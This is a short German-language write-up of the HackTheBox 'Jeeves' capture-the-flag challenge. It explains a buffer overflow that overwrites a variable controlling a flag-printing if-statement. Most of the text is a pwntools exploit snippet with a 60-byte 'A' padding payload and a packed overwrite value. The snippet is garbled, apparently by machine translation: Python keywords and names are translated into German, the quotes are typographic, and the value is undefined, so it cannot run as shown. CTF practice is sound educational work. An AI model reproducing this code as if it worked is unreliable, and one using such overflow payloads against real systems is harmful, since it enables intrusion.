Wir haben ein Szenario einer Binärdatei behandelt, die anfällig für Pufferüberlauf-Schwachstellen ist. Die Binärdatei verfügt über aktivierte NX- und PIE-Schutzmechanismen, daher haben wir die Binärdatei mit dem Ghidra-Debugger geöffnet und die Ausnutzungsmethode basierend auf der Berechnung der Offsets der Eingabevariablen und einer anderen Variablen erstellt, die einen Eintrag in eine if-Anweisung steuert, die das Flag druckt. Das Ziel bestand darin, den Wert dieser Binärdatei zu steuern und den Ausführungsfluss in die if-Anweisung eintreten zu lassen. Dies war Teil von HackTheBox Jeeves Einführung in den Binary Exploitation Track.
Hinweise zu Pufferüberlauftechniken
Der Exploit-Code ist unten
##Anfang
von pwn import *
Ziel = Prozess(„nc“)
target.sendline(„IP-Port“)
Nutzlast = „A“*60
byte_to_string = p64(Wert)
Nutzlast = Nutzlast + Byte_in_Zeichenfolge.dekodieren(„ISO-8859-1“)
target.sendline(Nutzlast)
drucke Ziel.recvuntil(“.)
##Ende
Video-Komplettlösung